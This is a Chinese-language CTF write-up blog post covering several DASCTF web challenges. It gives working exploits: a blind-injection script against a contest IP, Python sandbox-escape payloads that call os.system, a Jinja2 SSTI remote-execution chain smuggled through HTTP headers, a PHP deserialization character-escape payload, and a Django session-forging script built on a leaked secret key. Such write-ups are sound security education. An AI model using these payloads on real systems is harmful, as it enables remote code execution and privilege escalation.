Author:颖奇L’Amore

Blog:www.gem-love.com

本次比赛因为参与出题了(web/checkin web/Subscribe misc/PhysicalHacker),就开了个小号主要是做做其他师傅的题,对分数排名也没啥追求,好多题做了也没交flag。然后因为安恒有规定,自己出的题就不写wp了,其他师傅的题也都很有意思,挑几个题写写wp


简单的计算题-1

考点:python布尔盲注

难度:简单


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

    def filter(string):
        for black_word in black_list:
            if black_word in string:
                return "hack"
        return string

    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question==None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        try:
            calc_result = str((eval(input_question + "=" + str(input))))
            if calc_result == 'True':
                result = "Congratulations"
            elif calc_result == 'False':
                result = "Error"
            else:
                result = "Invalid"
        except:
            result = "Invalid"
        return render_template('index.html', answer=result,question=create_question)

    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)

@app.route('/source')
def source():
        return open("app.py", "r").read()

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)

两个计算器题目差不多,都是一个计算器

分析代码可知,他是有一个黑名单waf但是我们不知道是什么,然后就是eval(算式==input),并且有三种不同回显,很明显是要我们利用这个eval()来读flag

最开始因为过滤不全可以直接用os.system()一键打穿,后来修复了。那也很简单,就盲注一下就可以了,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import re
from urllib.parse import quote as urlencode

def main():
	alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
	proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}  
	data={"input":""}
	s = requests.Session()

	flag = ''
	for i in range(0,100):
		for char in alphabet:
			try:
				r = s.post("http://183.129.189.60:10026/", data={"input":""})
				question = re.search(r"<h4>(.*)</h4>", r.content.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]
				# print(question)
				data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)
				r = s.post("http://183.129.189.60:10026/", data=data, proxies=proxies)
				result = r.content.decode()
				# print(char, end=' ')
				# print(re.search(r"<h3>(.*)</h3>", result, re.M|re.I).group())
				# print(data)
				if r"Congratulations" in result:
					flag += char
					print(flag)
					break
			except Exception as e:
				print("Exception: ", end='')
				print(e)

if __name__ == '__main__':
	main()


简单的计算题-2

考点:沙箱逃逸

难度:简单

这题我是非预期了,直接逃逸掉了题目所有过滤,虽然俩题的过滤不一样,但是我的payload对这俩题都通杀

其他地方代码都一样,主要是这里:

if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question == None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        calc_str = input_question + "=" + str(input)
        try:
            calc_result = str((eval(calc_str)))
        except Exception as ex:
            calc_result = "Invalid"
        return render_template('index.html', answer=calc_result,question=create_question)

这里这个回显更直接,不过我觉得出题人这里不应该给回显,不然这俩题的难度区分实在是有点小。所以我想的是假装它没有任何回显,然后构造payload把题目打穿。很容易就要想到去bypass过滤然后执行系统命令,那么如何bypass?当然是sandbox escape

因为简单fuzz发现这俩题的blacklist还不一样,懒得fuzz这题了,直接准备一个万能payload绕过所有过滤就可以了。那么如何绕?只要实现关键字为字符串拼接不就行了,比如system被过滤,但是总不能把's'+'y'+'s'+'t'+'e'+'m'这样的给过滤吧。

沙箱逃逸老生常谈的话题,我也不想多介绍了,直接用getattr()就行了,虽然getattr()通常被用来bypass.而本题.并没有被过滤。

原型payload:

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

bypass waf变种payload:

getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')

这俩计算器题通杀,都能直接反弹shell:

当然,还有更简单的。。。

eval("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
exec("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")

把whoami改成反弹shell的就行了(不过只有第一天晚上可以用,后来就被修复了)。


easyflask

考点:RSA、Flask SSTI、Flask Session伪造(非预期可跳过这一步)

难度:困难

第一步是个baby rsa,输入N和e题目给返回c

然后求明文就好了,求出来的就是身份认证需要的token

之后用这个token身份认证,即可来到一个登录页面

输入{{7*7}},可以发现存在模板注入

可以看到下面这一句说我们不是admin,登录上是有session的,用flask session decoder解一下:

所以这题的大致意思应该是ssti读文件得到secret_key然后伪造session。

但是这个题过滤的实在是太多了,引号、中括号、()||join等等,过滤还得自己fuzz,我fuzz出来多少个过滤自己都数不过来。而且不仅用户名有过滤,url里也不能出现相关的黑名单关键字。

本题目没ban掉request,所以基本上就是用request.args.param来绕过,我相信出题人也是这个意思,所以才对url也进行了过滤来保证最后SSTI只能用来文件读取并不能用来RCE。

但作为本次比赛承办方成员之一,本着测题的原则,还是决定一定要RCE,本地写了个flask结果还和题目环境不太一样,导致我好几个payload都本题打得通然后远程打不通。第一天比赛暂停后的1h(0:00)我偷偷开了这题的环境开始RCE,一直到4:30经过四个半小时努力,终于成功打穿。

本题目最大的坑在于:class会反复横跳 比如:

{{({}|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)())}}

现在构造的是list的子类所以变化不是很大,我最开始构造的payload,发了1000个包居然一个都没碰撞成功:

后来测试发现在list类下找东西好一些,因为刷新几下就又能得到相同的类了,不会像最初payload刷新1000遍都成功不了。

但是本题目最大的问题是在于如何绕过黑名单,在url上bypass基本上不可能了,因为字符串什么的都是被ban掉的。后来突然想到可以用header,request.headers的类型为<class 'werkzeug.datastructures.EnvironHeaders'>,一般是request.headers["User-Agent"]这样来获取一个http头字段的值的,然而我们并不能用大括号和引号,看了他的属性也没找到合适的能获取某个字段值的方法

我尝试用元组转列表然后repr()转字符串,然后再切片,经过一通操作,确实成功了,但是丢给flask直接出错,本地调试看到报错才突然想起来,repr()这种函数在模板里都是Undiefined的!

但是后来测试发现,在Jinja2渲染时可以直接request.headers.User-Agent这样获取一个header,那所有问题就直接迎刃而解了!能够获取到header意味着bypass了所有黑名单过滤,之后就是想办法把system()给构造出来了。

构造时候也有几个坑:

  • ()|不能用,调用完函数再接上|attr()时候可以把前面的括号多套一层括号来绕过
  • 找类的链子很重要,因为题目的class不是固定的
  • listdict__getitem__用法不一样,前者直接index而后者需要键名(字符串)
  • 一步一步来,用__subclasses__()把所有子类打出来然后找合适的
  • 无法反弹shell,os.system()无回显

其他就不多bb了,自己上手操作一下就感受到了,最终payload为:

{{(((({}|attr(request.headers.y1ng1)|attr(request.headers.y1ng2)))|attr(request.headers.y1ng4)(1)|attr(request.headers.y1ng3)())|attr(request.headers.y1ng4)(398)|attr(request.headers.y1ng5)|attr(request.headers.y1ng6)|attr(request.headers.y1ng4)(request.headers.y1ng7)(request.headers.y1ng8)).read()}}

其中y1ng8是要执行的命令,先把app.py的源码cat出来:

from flask import Flask,render_template,request,session,url_for,redirect,render_template_string
import os
import hashlib

app = Flask(__name__)
# fake
app.config['SECRET_KEY'] = "flag{265eac50c18fa6f255a1fc253dc7ff7b}"
flag = b'flag{265eac50c18fa6f255a1fc253dc7ff7b}'
token = hashlib.md5(flag).hexdigest()
@app.route('/',methods=['GET','POST'])
def index():
    global token
    message = {"info":"Give me your public key and I will give you token", "token":"null"}
    if request.method == 'POST':
        N = request.form.get('N') or None
        e = request.form.get('e') or None
        try:
            if N is not None and e is not None:
                message["info"] = pow(int.from_bytes(token.encode(), 'big'), int(e), int(N))
        except:
            message["info"] = "N or e wrong"

        user_token = request.form.get('token') or None
        if user_token == token :
            session['token'] = token
            
            return redirect(url_for('login'))
        else:
            message["token"] = "wrong"
    return render_template('index.html', message = message)

@app.route('/login/',methods=['GET','POST'])
def login():
    global token
    if session.get('token',None)==token:
        if request.method == 'POST':
            username = request.form.get('username')
            session['username'] = username
            session['admin'] = False
            
            return redirect(url_for('user'))
            
        return render_template('login.html')
        
    return redirect(url_for('index'))

def check(payload, url):
    black_list = ['sys', 'dict', 'self', 'range', '|format', ']', 'namespace', 'popen', '[', 'timeit', 'os', '__class__', "'", 'pty', 'joiner', '"', 'g|', 'subprocess', '|join', 'config', 'commands', 'importlib', 'class', '_', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()|', '+']
    sys_list = ['sys', 'dict', 'self', 'range', '|format', ']', 'namespace', 'popen', '[', 'timeit', 'os', "'", 'pty', 'joiner', '"', 'g|', 'subprocess', '|join', 'config', 'commands', 'importlib', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()|', '+']   
    for i in sys_list:
        if url.find(i) != -1:
            return False
    for i in black_list:
        if payload.find(i) != -1:
            return False
            
    return True

@app.route('/user/',methods=['GET'])
def user():
    try:
        if (session['username'] != "") and (request.method == 'GET') and session.get('token',None):
            name = request.args.get('username') or session.get('username',None)
            
            template = '''
                           <p>The girls in DASCTF are beautiful !</p></br>
                           <p>Congratulations on %s's girlfriend!</p>
                           <p>But admin is {{ session.admin }}!You can't get /flag</p>
                ''' % name

            if name!="" and check(name,request.url):
                return render_template_string(template, name=name)
            else:
                return "check error"
    except:
        template = '<h2>something wrong!</h2>'
        return render_template_string(template)

@app.route('/flag/',methods=['GET'])
def get_flag():
    if session.get('admin',None):
        return os.getenv('FLAG')
    return "No permission for true flag"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
    </div>
'''
    return render_template_string(template)

这里面有个flag但是是假flag,那个只是secret_key,代码告知真正的flag在环境变量中,所以执行以下env就行了:

这里我payload用的是os.popen().read()所以是有回显的。

如果是读文件,读完了源码得到了key,只要伪造session就好了:

之后带着session去访问http://xxx/flag即可得到flag


phpuns

考点:PHP反序列化字符逃逸

难度:普通

和四月月赛的反序列化大体一样

安恒月赛2020年DASCTF——四月春季战Writeup

登录就把用户和密码存进session,然后对session反序列化。这过程中会进行字符替换造成字符逃逸:

function add($data)
{
    $data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
    return $data;
}

function reduce($data)
{
    $data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
    return $data;
}
function check($data)
{
    if(stristr($data, 'c2e38')!==False){
        die('exit');
    }
}
//序列化
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));
//反序列化
check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));

class.php:

<?php
class User{
    protected $username;
    protected $password;
    protected $admin;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
        $this->admin = 0;
    }

    public function get_admin(){
        return $this->admin;
    }
}


class Hacker_A{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }
    public function __destruct() {
        if(stristr($this->c2e38, "admin")===False){
            echo("must be admin");
        }else{
            echo("good luck");
        }
    }
}
class Hacker_B{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }

    public function get_c2e38(){
        return $this->c2e38;
    }

    public function __toString(){
        $tmp = $this->get_c2e38();
        $tmp();
        return 'test';
    }

}

class Hacker_C{
    public $name = 'test';

    public function __invoke(){
        var_dump(system('cat /flag'));
    }
}

pop链很简单:

Hacker_A__destruct()中将$this->c2e38作为字符串比较,触发Hacker_B__toString()

__toString()中通过调用$this->get_c2e38()方法获取了Hacker_B$c2e38属性并作为方法调用$tmp(),进而触发Hacker_C__invoke()方法

__invoke()system('cat /flag'),得到flag

pop链构造好,然后字符逃逸注入对象,之后反序列化最终触发system()即可。字符逃逸原理去看DASCTF四月月赛的Ezunserialize就好了,不再过多介绍了

exp:

输入如下用户名和密码:

username:y1ng\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password:";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"

顺便说下,因为题目把c2e38给ban了,所以用S:5:"\63\32\65\33\38"来绕过,和用S+\00来绕过chr(0)是一样的,因为S大写,后面字符串里就可以解析hex了


filecheck

考点:_io.TextIOWrapper类、Django session伪造

难度:难

显示随便注册登录,然后登录,在readable可以看是否有读取某个文件的权限

根据这个file参数,换成读取别的,被告知必须是xyz结尾的

因为昨天做easyflask时候发现出题人用了uri,然后这题和那个题是同一个人出的,我感觉可能相同办法,于是后面加了个参数果然就OK了

然后如果是不存在的文件,就会爆出file not found的错,说明这个功能可以探测文件是否存在

然而,这也没啥用。过了一会儿,一个偶然的小失误,因为吧readable手打给拼错了,直接爆出了重要信息

_io.TextIOWrapper肯定无人不晓, f=open('/tmp/1,txt','r'),然后f就是<_io.TextIOWrapper name='/tmp/1.txt' mode='r' encoding='UTF-8'>,然后用dir()看下它的属性:

可以发现readable实际上就是它的一个方法,他还有readreadline等可以读文件,所以直接调用read()方法读文件:

比赛结束时有个师傅告诉我,这个任意文件读取可以直接非预期一把梭:

不过我当时没想起来这么用。。一时间卡住了不知道读什么文件好了。之后我就来fuzz,首先得知当前运行的文件肯定是在/xxx/目录内,距离根目录只有一层

然后/app目录也是存在的,所以基本上flask就在/app目录下

可是读app.py没读到源码,之后就根据flask的常见layout开始逐个爆破

最后因为最开始的readable给了challenge文件夹,可能是个project,根据Structure of a Flask Project在里面读到了views.py

views.py里存了一些路由,没什么卵用,只是告诉我们那个sha256的token只是障眼法不需要爆破

def read_file(request):
    if not request.session.get('is_login', None):
        return redirect('/')
    message = "Read"
    # chen
    token = request.GET.get('token') or None
    try:
        if hashlib.sha256(token.encode()).hexdigest()[:20] == '3abd72ec6352d6085d85':
            error = "Not here.Be careful!"
            return render(request, 'index/index.html', locals())
    except Exception as error:
        error = "sha256(GET[token])[:20] must be 3abd72ec6352d6085d85"
        return render(request, 'index/index.html', locals())
    return render(request, 'index/index.html', locals())

之后根据/proc/self/cmdline得到了manage.py,读取一下:

#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'hainep.settings')
    try:
        from django.core.management import execute_from_command_line
    except ImportError as exc:
        raise ImportError(
            "Couldn't import Django. Are you sure it's installed and "
            "available on your PYTHONPATH environment variable? Did you "
            "forget to activate a virtual environment?"
        ) from exc
    execute_from_command_line(sys.argv)


if __name__ == '__main__':
    main()

从这个姜狗有关的代码中得到了一个关键字:hainep.settings

然后因为他自己也说了用了Django,并且还给了project的名叫hainep:

果然hainep这个文件夹是存在的

参考:

https://docs.djangoproject.com/en/2.2/topics/settings/

然后顺理成章连蒙再猜从hainep/settings.py中读到了django的settings

"""
Django settings for hainep project.

Generated by 'django-admin startproject' using Django 2.2.11.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ['*']


# Application definition

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'challenge',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'hainep.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'hainep.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False



# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATICFILES_DIRS = (
    os.path.join(BASE_DIR, 'challenge/static/'),
)

得到SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'

然后hint让看cookie,发现是django session,参考:

https://docs.djangoproject.com/en/2.2/topics/signing/

加上题目告诉访问/flag去获取flag,然后我们自己访问还没有权限,于是可以肯定这是个Django session伪造问题。参考:

https://althims.com/2019/10/25/client-session/

 

https://github.com/ustclug/hackergame2019-writeups/tree/master/official/%E8%A2%AB%E6%B3%84%E6%BC%8F%E7%9A%84%E5%A7%9C%E6%88%88

exp:

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyMjQ0MtcByefkp4PkS4pKYdJ5ibmpSlZKlYZ56Uq1ACNNFxA:1jokij:bIoWAUDVUDfSbXack05GuSCYKMk',
	key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',salt='django.contrib.sessions.backends.signed_cookies')
print(sess)
sess[u'is_admin'] = True
print(sess)
s= signing.dumps(sess, key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print(s)

可以发现成功伪造成为了管理员,并得到了新的session

带着新cookie去访问flag即可得到flag:

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2401.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

5 条评论

h4lo · 2020年6月28日 13:34

filecheck那个题目其实没有404页面,在URL后面输入一个不存在的地址一直都会跳到Readable页面,这可能是个提示吧

h4lo · 2020年6月28日 13:35

filecheck没有404页面,不存在的页面回显是Readable页面,这可能是个提示

    颖奇L'Amore · 2020年6月29日 18:47

    最开始404页面会显示host,所以直接在HOST字段无过滤SSTI打穿,一血就这么拿的,后来修复了

lamian · 2020年6月29日 10:39

Dashboard 哪个有答案吗。。登陆绕过进去了 然后干啥。。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image